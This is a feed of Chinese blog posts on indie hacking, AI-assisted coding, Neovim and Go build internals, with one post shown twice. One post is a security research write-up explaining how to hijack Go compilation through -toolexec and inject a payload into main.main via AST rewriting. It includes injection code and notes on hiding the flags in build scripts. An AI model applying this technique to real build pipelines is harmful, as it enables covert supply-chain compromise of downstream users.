普通视图

发现新文章,点击刷新页面。
昨天以前rook1e

Indie Hacking Memo

2025年8月3日 22:11

Translated from the Chinese version by Gemini 2.5 Flash.

Over a year into indie hacking, I haven't launched a successful product, but I've learned a lot.

Use Boring Tech Stacks

Most indie hackers I've observed come from a programmer background, and "the best tech stack for indie hacking" is a recurring topic in various communities.

In this circle, the cool kids on the block use Next.js, like Next.js + Prisma + Shadcn UI + NextAuth + Supabase. They'll share how smooth the DX is and how quickly they can build a beautiful UI, but beneath the surface:

  • These so-called "full-stack frameworks" are built for the frontend, with extremely limited backend capabilities.
  • These tech stacks iterate very quickly, unnecessarily increasing learning and migration costs.
  • A huge number of JS dependencies are like ticking time bombs.
  • Serverless architecture is restrictive; even scheduled tasks might require workarounds (I know Vercel has this feature, but even Pro accounts have quantity limits).
  • The surprise from Vercel bills.

However, users don't care about your code. Simple tech stacks can build very successful projects:

So, if your technical background leans towards the backend, you don't have to use Shadcn UI. Just stick to a backend-first approach and use boring technology: use the backend tech stack you're most comfortable with, use a templating engine for server-side rendering, and deploy to a VPS (remember to put it behind Cloudflare CDN).

After all, writing code is just the first step.

MVP Should Only Include One Core Feature

MVP, as the name suggests, must be minimum, completed with the least amount of effort:

  • Solve only one pain point at a time.
  • Focus only on core features; it doesn't even necessarily require writing code.
  • The UI can be rough, simple and elegant is fine.
  • Don't design caching, message queues, etc., and don't use K8s.

Performance, stability, and a refined UI are sweet problems for the future. Refactoring the codebase can wait until your MRR meets expectations.

Charge From Day One

Pricing strategy is also a long-debated, subjective topic.

Offering a free trial to lower the barrier to entry seems reasonable, but in practice, it's a different story:

  • It attracts customers who only want freebies.
  • It adds an extra conversion step: traffic -> trial users -> paying users.
  • People don't value free things.
  • Suggestions from free users may be less valuable.

Instead of offering a free trial, charge from day one, but offer a money-back guarantee if the user is not satisfied within XX days:

  • It conveys confidence to the user ("This product will definitely solve your pain point") and provides a safety net ("Even if you don't like it, you can get an unconditional refund within 14 days").
  • It pre-filters high-risk users through payment channels like Stripe.
  • If no one pays, it indicates a false demand or that you haven't found your niche yet.
  • Genuinely ask for user feedback during refunds; this feedback is more valuable.

Regarding pricing, I prefer Tibo's perspective:

  • A low price DOESN’T compensate for delivering LOW value.
  • I price my SaaS in a range: $29-$99, and decide what to build, and how to build it based on that.

Fail Fast, Grow Fast

One of the advantages of indie hacking is the low cost of experimentation. And indie hacking itself has a very high failure rate.

Even Pieter Levels only made money from 4 out of his first 70 projects (https://x.com/levelsio/status/1457315274466594817).

Be a Salesperson, a Founder, Not Just a Developer

Writing code is the simplest part of indie hacking because the input-output is stable and predictable, especially with AI boosting efficiency now. Beyond coding, how to build connections and trust with customers and eventually get them to pay is a difficult question with no standard answer.

After launching the product, you need to day after day:

  • Reply to customer emails and DMs.
  • Manage personal and product social media, newsletters, etc.
  • Optimize cold reach content strategies and discover new potential user groups.
  • Do SEO.

These are all things that might not generate significant revenue for months but are essential, and they are also things that most tech people are not good at. Not to mention subsequent tasks like company registration, taxes, and data compliance.

So don't limit yourself. Not only should you maintain the code as a developer, but you should also manage your business as an entrepreneur.

独立开发备忘录

2025年8月3日 22:11

做了一年多的独立开发,没产出成功的产品,但学到了不少经验。

使用无聊的技术栈

我所观察到的独立开发者大都是程序员背景,“最适合独立开发的技术栈”也是各种社区的月经话题。

在这个圈子里,街上的酷孩子们用 Next.js,比如 Next.js + Prisma + Shadcn UI + NextAuth + Supabase。他们会分享这套组合的 DX 有多爽、能多快做出一个 UI 精美的网站,但在冰山之下:

  • 这些所谓“全栈框架”为前端而生,后端能力极其有限
  • 这类技术栈迭代速度极快,增加不必要的学习、迁移成本
  • 巨量 JS 依赖就像定时炸弹
  • Serverless 架构束手束脚,可能连定时任务都要另想办法(我知道 Vercel 有这功能,但即使 Pro 账户也有数量限制)
  • 来自 Vercel 账单的惊喜

可是用户才不关心你的代码,简单的技术栈可以构建出非常成功的项目:

所以,如果技术背景偏后端,也不是非用 Shadcn UI 不可,那就继续以后端为主、使用无聊的技术栈:使用最顺手的后端技术栈、用模板引擎做服务端渲染、部署到 VPS 上(记得放在 Cloudflare CDN 后面)。

毕竟写代码只是第一步。

MVP 只包含一个核心功能

MVP,顾名思义,一定要 minimum,以最少的工作量完成:

  • 一次只解决一个痛点
  • 只做核心功能,甚至不一定要写代码
  • UI 可以粗糙一些,简单大方即可
  • 不要设计缓存、消息队列等,不要用 K8s

性能、稳定性、精致的 UI 是未来的甜蜜烦恼,MRR 达到预期后再重构代码库也不迟。

第一天就收费

价格策略也是一个争论已久、见仁见智的话题。

提供免费试用来降低使用门槛确实看起来很合理,但实践起来又是另一回事:

  • 会吸引到只会白嫖的客户
  • 增加了一道转化环节:流量 -> 试用用户 -> 付费用户
  • 人们不会珍惜免费的东西
  • 免费用户的建议可能价值较低

与其提供免费试用,不如从第一天起就收费,但提供 xx 天不满意就退款的保证:

  • 向用户传递信心(“这个产品绝对能解决你的痛点”)和兜底(“即使你不喜欢也可以在 14 天内无条件退款”)
  • 提前通过 Stripe 等支付渠道过滤掉高风险用户
  • 没人付钱说明这是一个假需求或还没找到 niche
  • 退款时真诚地征求用户反馈,这些反馈更有价值

另外关于如何定价,我比较喜欢 Tibo 的观点

  • A low price DOESN’T compensate for delivering LOW value. (低价格并不能弥补低价值)
  • I price my SaaS in a range: $29-$99, and decide what to build, and how to build it based on that. (我给自己的 SaaS 产品定价在一个区间:29-99 美元,然后根据这个价格来决定要开发什么,以及怎么去开发)

快速失败,快速成长

独立开发的优势之一就是试错成本低。而且独立开发本身也是一件失败率非常高的事情。

即使是 Pieter Levels,前 70 个项目也只有 4 个赚到了钱(https://x.com/levelsio/status/1457315274466594817)。

是销售,是老板,而不只是开发者

写代码是独立开发中最简单的事情,因为投入产出是稳定、可预测的,更何况现在有 AI 提效。而代码之外,如何与客户建立联系和信任并最终让他掏钱,是一个没有标准答案的难题。

产品发布后,要日复一日地:

  • 回复客户邮件、私信
  • 经营个人和产品的社媒、newsletter 等
  • 优化 Cold reach 的内容策略,挖掘新的潜在用户群
  • 做 SEO

这都是可能几个月都无法产生明显收益,但又不得不做的事情,也在大部分技术人不擅长的事情。更别提后续还会有公司注册、报税、数据合规等事务。

所以不要束缚自己,不仅要作为开发者维护好代码,更要作为创业者经营好自己的生意。

使用 Cline + Gemini 2.5 Pro 来做 Vibe coding

2025年4月28日 19:44

最近 Vibe coding 风头正盛,原本我对此兴趣不大,因为之前用过 Cursor/Windsurf/Copilot 搭配 Claude 3.5 Sonnet,效果都只能称得上比较惊艳,谈不上颠覆认知。

但 Cline + Gemini 2.5 Pro 让我大受震撼,我觉得这个组合完全能够胜任个人项目的开发。

Cline 的优点

Cursor 这类商业服务为了平衡成本和生成质量,使用向量化代码库 + RAG 方案,注定存在精度损失。而 Cline 更偏向于大力出奇迹,把相关代码尽可能塞到上下文中,这非常考验模型的注意力和用户的钱包。

好在现在有了 Gemini 2.5 Pro。其推理质量高,在长上下文中仍然能保持良好的注意力,最重要的是价格比 Claude 3.7 Sonnet 便宜 30%,使用提示缓存后便宜更多。

实测下来,我使用 Cline + Gemini 2.5 Pro 来 Vibe coding 开发了一个浏览器扩展,涉及到:

  • 浏览器扩展框架 wxt
  • UI 框架 Svelte 5
  • UI 组件库 daisyUI 5
  • IndexedDB 和 Dexie.js

整个过程中除了遇到一个 daisyUI 导致的 CSS 问题要我手动修复外,所有功能都是由 AI 实现,非常丝滑。

虽然这只是个小项目,但 Cline + Gemini 2.5 Pro 表现出的能力已经让我大受震撼。

最佳实践

鉴于还没发展到 AGI,我们仍然需要一些最佳实践来最大限度地释放模型的能力。

  • 先 Plan 再 Act。在 Plan 模式中确定好方案后,切换到 Act 模式执行。在确定了方案的情况下,大部分任务都是 one-shot。
  • 使用 Memory bank 为模型提供长期记忆。
  • 一个任务只做一件事,完成后要求更新 Memory bank。
  • 在出错时,比如滥用 Svelte $effect,要明确说明正确的用法(如果不嫌浪费 token,也可以要求它自己去查文档),并要求记录到 Memory bank 中。
  • 根据代码生成情况,及时补充 Rules。比如要求不要添加无用的注释。
  • 使用 context7-mcp 为模型提供最新的技术文档。也可以把文本放到本地让模型去读,效果是一样的。

使用成本

项目比较小,且我每个任务都只关注一个细分功能,使用成本不高:

  • 输入 Token 量大,基本都是 150k 起步,输出在 1k - 20k 之间。目前使用量最高的一次任务是输入 4m,输出 54k,上下文窗口中有 126k。
  • 一般读取完 Memory bank 后上下问窗口就有 10k token 了,但大多数任务完成后上下文仍然在 10k 左右。

如果重度使用,成本肯定是比 Cursor 更高的,但不会遇到 Cursor 额度用完后进入慢速队列导致的降智问题。多一点成本来提高上限,我认为非常值得。

得与失

开发效率实打实地提升了。只要构思、表述条理清晰,再偶尔辅助一下,我认为最终工作效率和质量强过相当多开发者了,比如我。

但由奢入俭难,“让 AI 帮我写 xxx”已经成了我打开编辑器后的第一念头。我越发担心产生依赖性,丢失了学习新技术的热情和能力。

这次短暂体验下来,我已经非常期待下一轮发布的新模型了,希望 DeepSeek 能带来相似的上下文能力和极致的价格。

或许在 AI 时代,最重要的工作技能是「认真思考、好好说话」。这也是我今年开始多写博客的初衷。

使用 Cline + Gemini 2.5 Pro 来做 Vibe coding

2025年4月28日 19:44

最近 Vibe coding 风头正盛,原本我对此兴趣不大,因为之前用过 Cursor/Windsurf/Copilot 搭配 Claude 3.5 Sonnet,效果都只能称得上比较惊艳,谈不上颠覆认知。

但 Cline + Gemini 2.5 Pro 让我大受震撼,我觉得这个组合完全能够胜任个人项目的开发。

Cline 的优点

Cursor 这类商业服务为了平衡成本和生成质量,使用向量化代码库 + RAG 方案,注定存在精度损失。而 Cline 更偏向于大力出奇迹,把相关代码尽可能塞到上下文中,这非常考验模型的注意力和用户的钱包。

好在现在有了 Gemini 2.5 Pro。其推理质量高,在长上下文中仍然能保持良好的注意力,最重要的是价格比 Claude 3.7 Sonnet 便宜 30%,使用提示缓存后便宜更多。

实测下来,我使用 Cline + Gemini 2.5 Pro 来 Vibe coding 开发了一个浏览器扩展,涉及到:

  • 浏览器扩展框架 wxt
  • UI 框架 Svelte 5
  • UI 组件库 daisyUI 5
  • IndexedDB 和 Dexie.js

整个过程中除了遇到一个 daisyUI 导致的 CSS 问题要我手动修复外,所有功能都是由 AI 实现,非常丝滑。

虽然这只是个小项目,但 Cline + Gemini 2.5 Pro 表现出的能力已经让我大受震撼。

最佳实践

鉴于还没发展到 AGI,我们仍然需要一些最佳实践来最大限度地释放模型的能力。

  • 先 Plan 再 Act。在 Plan 模式中确定好方案后,切换到 Act 模式执行。在确定了方案的情况下,大部分任务都是 one-shot。
  • 使用 Memory bank 为模型提供长期记忆。
  • 一个任务只做一件事,完成后要求更新 Memory bank。
  • 在出错时,比如滥用 Svelte $effect,要明确说明正确的用法(如果不嫌浪费 token,也可以要求它自己去查文档),并要求记录到 Memory bank 中。
  • 根据代码生成情况,及时补充 Rules。比如要求不要添加无用的注释。
  • 使用 context7-mcp 为模型提供最新的技术文档。也可以把文本放到本地让模型去读,效果是一样的。

使用成本

项目比较小,且我每个任务都只关注一个细分功能,使用成本不高:

  • 输入 Token 量大,基本都是 150k 起步,输出在 1k - 20k 之间。目前使用量最高的一次任务是输入 4m,输出 54k,上下文窗口中有 126k。
  • 一般读取完 Memory bank 后上下问窗口就有 10k token 了,但大多数任务完成后上下文仍然在 10k 左右。

如果重度使用,成本肯定是比 Cursor 更高的,但不会遇到 Cursor 额度用完后进入慢速队列导致的降智问题。多一点成本来提高上限,我认为非常值得。

得与失

开发效率实打实地提升了。只要构思、表述条理清晰,再偶尔辅助一下,我认为最终工作效率和质量强过相当多开发者了,比如我。

但由奢入俭难,“让 AI 帮我写 xxx”已经成了我打开编辑器后的第一念头。我越发担心产生依赖性,丢失了学习新技术的热情和能力。

这次短暂体验下来,我已经非常期待下一轮发布的新模型了,希望 DeepSeek 能带来相似的上下文能力和极致的价格。

或许在 AI 时代,最重要的工作技能是「认真思考、好好说话」。这也是我今年开始多写博客的初衷。

Neovim、终端和生产力

2025年3月30日 22:08

我有一个「终身技能」清单,其中包含了我认为可以获得超过 20 年复利的技能,比如写作、Vim。

我对 Vim 的热情在观看 devaslife 的视频后急速升温,他使用 Vim 编辑代码的高效和优雅让我印象深刻。终于在 2023 年五月的一个下午,我开始学习 Vim/Neovim。

从使用 Neovim 开始,我逐步升级了自己的工作流,在终端中度过了一段快乐时光,但最终还是选择在 VS Code 中使用 Neovim。

初试 Neovim

我的目标不是成为 Vim 大师并用从零开始构造一个 IDE,而是提高自己的文本编辑效率。

vimtutor 是一个很好的开始,包含了所有必学的基础操作。之后我开始寻找一套合适的配置,避免自己为了让配置更完美而花费太多时间(虽然后来仍投入了几十个小时)。尝试了 Astro、Lunar 等热门的配置后,我留在了 LazyVim。巧的是之后不久 devaslife 也切换到了 LazyVim,侧面印证了 LazyVim 的质量。

LazyVim 是一套各方面都十分优秀的配置,极易上手,预设键位符合人体力学(这些键位已经成了我对 vim 的初始记忆)。它集成了几乎一个代码编辑器需要的所有功能,同时又让人感到十分清爽。

得益于 Language Server Protocol 和 Tree-sitter,Neovim 中的代码补全、语法高亮能力与 VS Code 是一致的。只需要像插件一样安装对应的包,就可以获得对各种语言的支持。

一两个星期后,常用 Vim 操作已经进入了肌肉记忆,结合 LazyVim 预设的 space spacesfggspace e 等键位,我明显感受到 Vim 或者说 LazyVim 带来的效率提升,开始体会到纯键盘操作一切的快感。

终端工作流

使用了 Neovim 就自然地会想要优化终端工作流。经过一段时间的探索,我目前的常用工具如下:

  • Wezterm:一个 Rust 实现的支持 GPU 加速的终端模拟器,支持使用 Lua 作为配置
  • zsh + pure:我对 shell 没有太多要求,但是得兼容 Debian 上默认的 sh/bash,所以没有使用 fish。zsh 没有过多配置,简单写了个函数做插件管理器,安装了 fzf-tab、zoxide、direnv,以及 zsh-users 系列必装的自动补全和语法高亮,最终 .zshrc 就一百多行,然后用 pure 这套简单的提示符配置替换了 oh-my-zsh
  • 现代版工具
    • fd:更好的 find
    • ripgrep:更好的 grep
    • fzf:模糊搜索,可以与 history、ctrl+r 等结合,提升搜索质量
    • bat:带语法高亮的 cat
  • lazygit:非常好用的 Git 工具,现在除了 rebase、解决合并冲突等情况,我都会用它而不是手敲命令
  • stow:管理上述工具的配置文件

这些工具构成了符合我核心需求的终端环境,并且干净简单。

我也尝试过引入更复杂的工具,比如 tmux/zellij、平铺式窗口管理器。但最终意识到我需要的只是横/纵向分屏,给 Wezterm 添加几个类似 item2 的快捷键就够了。

Neovim -> VS Code + Neovim

高度的自定义能力带给人无穷的想象空间。每天打开 Neovim,我的第一反应不是项目,而是 Neovim 还有哪里可以再配置一下。即使有意地避免自定义配置,不知不觉中我也投入了太多时间在 Neovim Lua API 文档、插件文档、YouTube 相关视频。

除了忍不住追求更好的插件,Neovim 社区中的开发者勤奋且才华横溢,这些插件往往也具有超高的更新频率,不免带来稳定性上的隐患。项目的突然停止维护则可能导致已有的配置、依赖的插件都要更改,意味着用户又要投入大量时间来适应,比如 null-ls 停止维护

当再次花了几小时优化配置后,我突然意识到自己在试图构造一个 VS Code,这违背了学习 Vim 的初衷。于是我开始寻求在 VS Code 上复现这套 Neovim 配置。

VS Code 中有两个流行的 Vim 插件,其中 vscode-neovim 是将用户行为代理到本机上的 Neovim 中,理论上有更好的性能和稳定性。而在 Neovim 配置文件中可以设置当通过 VS Code 使用时不激活 LazyVim,比如:

if vim.g.vscode then
  -- yank to system's clipboard
  vim.opt.clipboard:append("unnamedplus")

  -- undo/REDO via vscode
  -- https://github.com/vscode-neovim/vscode-neovim/issues/1139
  vim.keymap.set("n", "u", "<Cmd>call VSCodeNotify('undo')<CR>")
  vim.keymap.set("n", "<C-r>", "<Cmd>call VSCodeNotify('redo')<CR>")
else
  require("config.lazy")
end

这样我可以在终端中使用 LazyVim,在 VS Code 中使用裸 Neovim。偶尔 VS Code 会丢失与 Neovim 的同步,运行 "Reload Window" 即可修复。

这种方案结合了 VS Code 和 Neovim 的优势,但我也非常怀念在 Neovim 中使用 ctrl+hjkl 移动到任意窗口,以及通过悬浮窗使用 telescope 和 lazygit,一切都是那么自然流畅。

由此 Vim 完全融入了我的开发流,在一次次的键盘敲击中为我节省了大量时间。

反思

技术人对生产力的追求永不停息,但应当时刻提醒自己目标是获得更多产出或节省更多时间,当意识到自己的关注点聚焦在提升生产力本身上,或许就应该停下来了。

劫持 Golang 编译

2021年11月3日 16:22

本文首发于 Seebug

前段时间学习了 0x7F 师傅的「dll 劫持和应用」,其中提到通过 dll 劫持来劫持编译器实现供应链攻击,不由想到 Go 中的一些机制也可以方便地实现编译劫持,于是做了一些研究和测试。

编译过程

首先我们了解一下 go build 做了什么。

package main

func main() {
	print("i'm testapp!")
}

以这个简单的程序为例,go build -x main.go 编译并输出编译过程(篇幅有限所以没有强制重新编译最基础的依赖):

go build cmd

上述命令可以将编译过程概括为:

  1. 创建临时目录
  2. 生成 compile 需要的配置文件,运行 compile 编译出目标文件 ***.a(还有其他编译工具执行类似的操作)
  3. 写入 build id
  4. 重复 2、3 步编译所有依赖
  5. 生成 link 需要的配置文件,运行 link 将上述目标文件连接成可执行文件
  6. 写入 build id
  7. 将链接好的可执行文件移动到当前目录,删除临时目录

观察这段命令能够发现一些有趣的地方。

每个编译阶段都有单独的工具程序负责,例如 compile、link、asm,这些工具程序可以通过 go tool 获得,其中用于编译的暂且称之为编译工具。

命令中有大段形如 packagefile xxx/xxx=xxx.a 的内容,用于指明代码中依赖和目标文件的对应关系,这些对应关系将写入 importcfg/importcfg.link 作为 compile/link 的配置文件。

另外,还可以发现创建了形如 $WORK/b001 的临时目录。go build 在运行编译工具前会解析出全部的依赖关系,根据依赖关系对每个包创建相应的 action,最终构成 action graph,按序执行即可完成编译,每个 action 对应一个临时目录。例如使用 go build -a -work-a 表示强制重新编译,-work 表示保留临时目录)编译一个程序:

build temp

由图可以看到各个 action 使用的临时目录,如 b062 存放了编译配置文件 importcfg 和编译出的目标文件 _pkg_.a,而最后一个 action 对应的 b001 目录,除了编译的临时文件,还有链接配置 importcfg.link 和链接结果 exe/a.out

综上,我们可以总结出几个关键信息:

  • go build 的主要工作:分析依赖,把源代码编译成目标文件,把目标文件链接成可执行文件
  • 目标文件、配置文件存放在临时目录中(b001 是最后一个,也是可执行文件的诞生地),临时目录可以通过 -work 参数保留
  • 调用编译工具实现不同阶段的编译工作
  • 后 action 需要依赖前 action 的结果

可以感受到编译过程是较为“分散”的,这给我们创造了机会:

  1. 编译工具是开源的,可以对其修改并替换进 go env GOTOOLDIR 目录
  2. 利用 go build -toolexec 机制

这两种方法的思路大致相同,本文尝试了第二种思路。

劫持编译

前段时间研究代码混淆时学习到了 go build-toolexec 机制,这里粘贴一下相关内容:

细心的读者可能会发现一个有趣的问题:拼接的命令中真正的运行对象并不是编译工具,而是 cfg.BuildToolexec。跟进到定义处可知它是由 go build -toolexec 参数设置的,官方释义为:

-toolexec 'cmd args'
a program to use to invoke toolchain programs like vet and asm.
For example, instead of running asm, the go command will run
  'cmd args /path/to/asm <arguments for asm>'.

即用 -toolexec 指定的程序来运行编译工具。这其实可以看作是一个 hook 机制,利用这个参数来指定一个我们的程序,在编译时用这个程序调用编译工具,从而介入编译过程

所以我们的目标是实现一个类似 garble 的工具,暂且称之为 wrapper,在项目的编译脚本或其他存在编译命令的地方插入 -toolexec "/path/to/wrapper",运行编译命令时 wrapper 要找到一个合适的位置(暂定为 main.main() 的顶部)插入 paylaod。

首先要定位到目标代码文件。

/path/to/wrapper /opt/homebrew/Cellar/go/1.17.2/libexec/pkg/tool/darwin_arm64/compile -o $WORK/b042/_pkg_.a -trimpath "$WORK/b042=>" -shared -p strings -std -complete -buildid ygbMG98G6g0UHH5pai26/ygbMG98G6g0UHH5pai26 -goversion go1.17.2 -importcfg $WORK/b042/importcfg -pack /opt/homebrew/Cellar/go/1.17.2/libexec/src/strings/builder.go /opt/homebrew/Cellar/go/1.17.2/libexec/src/strings/compare.go
...(省略)

这是一条 go build -toolexec "/path/to/wrapper" 执行的命令,compile 的目标代码文件路径拼接在最后。提取出文件路径后,根据文件内容判断是否是 main.main() 所在文件,方法有很多,例如直接匹配是否以 package main 开头且存在 func main(){ ,更严谨一点可以解析出 AST,通过下图几个特征来判断:

main.main() ast

因为一条编译命令包含的文件都属于一个包,所以只要有一个文件不符合要求就可以放弃后续筛选了。

综上,第一步可以通过如下条件筛选:

  1. 调用的工具是 compile
  2. 文件是 .go 后缀
  3. AST 中包名是 main,且 Decls 中存在名为 main 的 ast.FuncDecl

定位到了目标代码文件,下一步通过修改 AST 来插入 payload。

根据上一步中的 AST 图,main() 中的每条语句解析成 AST 节点是 ast.Stmt 接口类型,存放于 Body.List 中,所以参照具体 stmt 的格式构造 AST 节点,如:

var cmd = `exec.Command("open", "/System/Applications/Calculator.app").Run()`
payloadExpr, err := parser.ParseExpr(cmd)
// handle err
payloadExprStmt := &ast.ExprStmt{
  X: payloadExpr,
}

main()Body.List 插入 payload 的节点:

// 方式1
ast.Inspect(f, func(n ast.Node) bool {
  switch x := n.(type) {
  case *ast.FuncDecl:
    if x.Name.Name == "main" && x.Recv == nil {
      stmts := make([]ast.Stmt, 0, len(x.Body.List)+1)
      stmts = append(stmts, payloadExprStmt)
      stmts = append(stmts, x.Body.List...)
      x.Body.List = stmts
      return false
    }
  }
  return true
})

// 方式2
pre := func(cursor *astutil.Cursor) bool {
  switch cursor.Node().(type) {
  case *ast.FuncDecl:
    if fd := cursor.Node().(*ast.FuncDecl); fd.Name.Name == "main" && fd.Recv == nil {
      return true
    }
    return false
  case *ast.BlockStmt:
    return true
  case ast.Stmt:
    if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
      cursor.InsertBefore(payloadExprStmt)
    }
  }
  return true
}
post := func(cursor *astutil.Cursor) bool {
  if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
    return false
  }
  return true
}
f = astutil.Apply(f, pre, post).(*ast.File)

最后将修改好的 AST 保存为文件,替换原始编译命令中的文件地址,执行命令。

简简单单,到这里似乎顺利完成,但测试一下会出现报错无法找到 os/exec

/var/folders/z5/1_qfr0f55x97c63p412hprzw0000gn/T/gobuild_cache_1747406166/main.go:5:2: could not import "os/exec": open : no such file or directory

回想一下前文「编译过程」部分的内容,在编译和链接阶段都需要使用其依赖包在先前编译出的目标文件,并且依赖分析和 action graph 的构建是 go build 在运行编译工具前完成的,无法通过 -toolexec 劫持。所以向 AST 中 的 import 节点插入依赖并不会修改已有的依赖关系和 action graph,导致没有 os/exec 的目标文件可用。

既然 action graph 中缺少 os/exec 及其依赖,那我们可以自行完成缺少的 action,即编译出相应的目标文件并添加到 importcfg。

exec-package-diff

对比 importctg 发现间接依赖比想象中的多,但好在都记录在 importcfg 中,所以我们创建一个新的 go build 编译一段简化的 payload:

package main

import "os/exec"

func main() {
	exec.Command("xxx").Run()
}

添加 -work 参数保留这次编译的临时目录,读取临时目录 b001 中的 importcfg 获得 os/exec 的依赖的目标文件路径,将这些配置项按需追加到原 importcfg。

再次尝试,可以看到 payload 成功插入。

wrapper demo

另外,可以看到上述测试都使用了 -a 参数,是由于 go build 存在缓存和增量编译机制,正常 go build 可能因命中缓存而不会调用工具,所以要添加 -a 参数强制编译所有依赖,或者编译前 go clean -cache 清除缓存,或是修改环境变量 GOCACHE 到一个新的目录。

最后,梳理一下上述步骤:

  • compile 时
    1. 定位目标文件
    2. 编译一个简化的 payload 得到 importcfg 和其依赖的中间文件
    3. 补充 importcfg
    4. 在 AST 中插入 payload,保存到临时文件
    5. 修改原编译命令中的文件路径,执行编译命令
  • link 时
    1. 定位目标文件
    2. 补充 importcfg.link
    3. 执行链接命令

总结

本文实践的方案利用了 go build-toolexec 机制让工具介入编译过程,在临时文件中插入 payload。

从实际应用的角度来说还存在很多问题,例如如何隐蔽地在编译脚本中插入 -toolexec-a 参数。在没有合适的伪装手段时,按照本文思路修改并替换编译工具 compile 和 link 或许是更好的选择。

本文相关代码存放在 go-build-hijacking,后续有好的思路会继续补充,欢迎师傅们通过 issue 或邮件交流。

Ref

初探 Golang 代码混淆

2021年5月19日 15:22

本文首发于 Seebug

近年来 Golang 热度飙升,得益于其性能优异、开发效率高、跨平台等特性,被广泛应用在开发领域。在享受 Golang 带来便利的同时,如何保护代码、提高逆向破解难度也是开发者们需要思考的问题。

由于 Golang 的反射等机制,需要将文件路径、函数名等大量信息打包进二进制文件,这部分信息无法被 strip,所以考虑通过混淆代码的方式提高逆向难度。

本文主要通过分析 burrowers/garble 项目的实现来探索 Golang 代码混淆技术,因为相关资料较少,本文大部分内容是通过阅读源码来分析的,如有错误请师傅们在评论区或邮件指正。

前置知识

编译过程

Go 的编译过程可以抽象为:

  1. 词法分析:将字符序列转换为 token 序列
  2. 语法分析:解析 token 成 AST
  3. 类型检查
  4. 生成中间代码
  5. 生成机器码

本文不展开编译原理的内容,详细内容推荐阅读 Go 语言设计与实现 #编译原理Introduction to the Go compiler

下面我们从源码角度更直观的探索编译的过程。go build 的实现在 src/cmd/go/internal/work/build.go,忽略设置编译器类型、环境信息等处理,我们只关注最核心的部分:

func runBuild(ctx context.Context, cmd *base.Command, args []string) {
	...
  var b Builder
  ...
  pkgs := load.PackagesAndErrors(ctx, args)
  ...
	a := &Action{Mode: "go build"}
	for _, p := range pkgs {
		a.Deps = append(a.Deps, b.AutoAction(ModeBuild, depMode, p))
	}
	...
	b.Do(ctx, a)
}

这里的 Action 结构体表示一个行为,每个 action 有描述、所属包、依赖(Deps)等信息,所有关联起来的 action 构成一个 action graph。

// An Action represents a single action in the action graph.
type Action struct {
	Mode     string         // description of action operation
	Package  *load.Package  // the package this action works on
	Deps     []*Action      // actions that must happen before this one
	Func     func(*Builder, context.Context, *Action) error // the action itself (nil = no-op)
	...
}

在创建好 a 行为作为“根顶点”后,遍历命令中指定的要编译的包,为每个包创建 action,这个创建行为是递归的,创建过程中会分析它的依赖,再为依赖创建 action,例如 src/cmd/go/internal/work/action.go (b *Builder) CompileAction 方法:

for _, p1 := range p.Internal.Imports {
	a.Deps = append(a.Deps, b.CompileAction(depMode, depMode, p1))
}

最终的 a.Deps 就是 action graph 的“起点”。构造出 action graph 后,将 a 顶点作为“根”进行深度优先遍历,把依赖的 action 依次加入任务队列,最后并发执行 action.Func

每一类 action 的 Func 都有指定的方法,是 action 中核心的部分,例如:

a := &Action{
  Mode: "build",
  Func: (*Builder).build,
  ...
}

a := &Action{
  Mode: "link",
  Func: (*Builder).link,
  ...
}
...

进一步跟进会发现,除了一些必要的预处理,(*Builder).link 中会调用 BuildToolchain.ld 方法,(*Builder).build 会调用 BuildToolchain.symabisBuildToolchain.gcBuildToolchain.asmBuildToolchain.pack 等方法来实现核心功能。BuildToolchain 是 toolchain 接口类型的,定义了下列方法:

// src/cmd/go/internal/work/exec.go
type toolchain interface {
	// gc runs the compiler in a specific directory on a set of files
	// and returns the name of the generated output file.
	gc(b *Builder, a *Action, archive string, importcfg, embedcfg []byte, symabis string, asmhdr bool, gofiles []string) (ofile string, out []byte, err error)
	// cc runs the toolchain's C compiler in a directory on a C file
	// to produce an output file.
	cc(b *Builder, a *Action, ofile, cfile string) error
	// asm runs the assembler in a specific directory on specific files
	// and returns a list of named output files.
	asm(b *Builder, a *Action, sfiles []string) ([]string, error)
	// symabis scans the symbol ABIs from sfiles and returns the
	// path to the output symbol ABIs file, or "" if none.
	symabis(b *Builder, a *Action, sfiles []string) (string, error)
	// pack runs the archive packer in a specific directory to create
	// an archive from a set of object files.
	// typically it is run in the object directory.
	pack(b *Builder, a *Action, afile string, ofiles []string) error
	// ld runs the linker to create an executable starting at mainpkg.
	ld(b *Builder, root *Action, out, importcfg, mainpkg string) error
	// ldShared runs the linker to create a shared library containing the pkgs built by toplevelactions
	ldShared(b *Builder, root *Action, toplevelactions []*Action, out, importcfg string, allactions []*Action) error

	compiler() string
	linker() string
}

Go 分别为 gc 和 gccgo 编译器实现了此接口,go build 会在程序初始化时进行选择:

func init() {
	switch build.Default.Compiler {
	case "gc", "gccgo":
		buildCompiler{}.Set(build.Default.Compiler)
	}
}

func (c buildCompiler) Set(value string) error {
	switch value {
	case "gc":
		BuildToolchain = gcToolchain{}
	case "gccgo":
		BuildToolchain = gccgoToolchain{}
  ...
}

这里我们只看 gc 编译器部分 src/cmd/go/internal/work/gc.go。以 gc 方法为例:

func (gcToolchain) gc(b *Builder, a *Action, archive string, importcfg, embedcfg []byte, symabis string, asmhdr bool, gofiles []string) (ofile string, output []byte, err error) {
	// ...
	// 拼接参数
	// ...

	args := []interface{}{cfg.BuildToolexec, base.Tool("compile"), "-o", ofile, "-trimpath", a.trimpath(), gcflags, gcargs, "-D", p.Internal.LocalPrefix}

	// ...

	output, err = b.runOut(a, base.Cwd, nil, args...)
	return ofile, output, err
}

粗略的看,其实 gc 方法并没有实现具体的编译工作,它的主要作用是拼接命令来调用路径为 base.Tool("compile") 的二进制程序。这些程序可以被称为 Go 编译工具,位于 pkg/tool 目录下,源码位于 src/cmd。同理,其他的方法也是调用了相应的编译工具完成实际的编译工作。

细心的读者可能会发现一个有趣的问题:拼接的命令中真正的运行对象并不是编译工具,而是 cfg.BuildToolexec。跟进到定义处可知它是由 go build -toolexec 参数设置的,官方释义为:

-toolexec 'cmd args'
  a program to use to invoke toolchain programs like vet and asm.
  For example, instead of running asm, the go command will run
  'cmd args /path/to/asm <arguments for asm>'.

即用 -toolexec 指定的程序来运行编译工具。这其实可以看作是一个 hook 机制,利用这个参数来指定一个我们的程序,在编译时用这个程序调用编译工具,从而介入编译过程,下文中分析的 garble 项目就是使用了这种思路。附一段从编译过程中截取的命令( go build -n 参数可以输出执行的命令)方便理解,比如我们指定了 -toolexec=/home/atom/go/bin/garble,那么编译时实际执行的就是:

